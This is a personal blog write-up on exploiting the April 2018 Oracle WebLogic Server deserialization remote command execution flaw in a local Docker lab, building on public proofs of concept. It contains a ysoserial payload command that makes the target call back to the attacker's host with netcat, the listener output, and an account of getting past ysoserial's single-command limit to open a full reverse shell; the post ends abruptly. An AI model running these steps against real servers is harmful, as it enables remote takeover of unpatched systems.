On April 18th 2018, a Remote Command Execution vulnerability has been discosled in Oracle Weblogic Server.
At the time of this writing, there are a couple of Proof Of Concept out there, let's see how we can improve them and pop a remote shell an the victim machine.
I started my research using the following resources:
This is the homepage of the researcher that originally found and reported the vulnerability to Oracle
GitHub repository with some info about the issue
Actual POC for this issue
All these links gave me some directions on how to build and weaponize the POC: once I put everything together I was able have a full remote shell.
Create the victim
First of all, I needed a target to check if the POC was really working.
In this repository there is the link a docker image that contains a vulnerable instance of Oracle server.
Spinning it is quite simple:
docker pull zhiqzhao/ubuntu_weblogic1036_domain docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
There are even a couple of example on how to create a payload, but it seems they are incomplete: there's a reference to an
exploit.py file, but there's nothing like that inside the repository.
The main giveaway is that we should create the payload using Y SO SERIAL (kudos for the great name). Honestly I've never had to exploit any Java object serialisation, so I never used it before.
Testing the POC
So, now it was time to test the POC.
This script was actually working but... it was a kind of black box: no comments, output strings in Chinese, duplicated code or not well organized.
Let's say that if you wrote that code, you know what's going on, but for someone external, it's pretty hard.
So after polishing it up and translating all the strings, I was able to understand the code flow.
Since all strings were hex encoded, I started to decode them before using them, just to understand what I was actually sending out.
Along with a lot of gibberish data, it seemed that the magic happened in the
PAYLOAD variable (duh...). There was an hardcoded IP, so I had to update the payload to reflect my own use case.
Updating the payload
brianwrf example code was using ysoserial in an interactive mode, however I wasn't able to wrap my mind around that.
To be extra sure everything was working correctly, I decided to do something simpler. Let's replace current payload with a static one, simply trying to call back my hosting machine:
# Output is piped to xxd, in raw hex mode in a single line, ready to be pasted java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 'nc -nv 172.17.0.1 4040' \ | xxd -ps -c 10000
I fired a listening instance of netcat on my machine and....
tampe125@AlphaCentauri:~$ nc -nlvp 4040 Listening on [0.0.0.0] (family 0, port 4040) Connection from [172.17.0.2] port 4040 [tcp/*] accepted (family 2, sport 58122)
A connection back means my code was executed. That's pretty cool, but it's just a POC, I wanted something more serious.
Close but no cigar
After updating the payload with the correct data, I wanted to do something more: spawn a real shell. Since I got a connection back from netcat, I was very confident I would be able to bind it to a real shell. Sadly I was wrong: if I tried to concatenate or pipe more commands, I didn't get any connection back, meaning that the whole exploit was failing.
That's a bummer.
Time to ask to the Big Brother: Google.
After several researches, I found the cause of the issue. YSOSERIAL can only inject one single command, it can't handle more complex commands.
From Burp Java Serialized Payloads repository:
This is because to run complex commands that pipe command into other commands in java the arguments needs to be a string Array. This version of ysoserial has been modified by using a delimter of ",," to seperate your arguments to the string array.
After installing that extension inside Burp, I was able to create a payload and replace it inside the original POC.
The result was brilliant: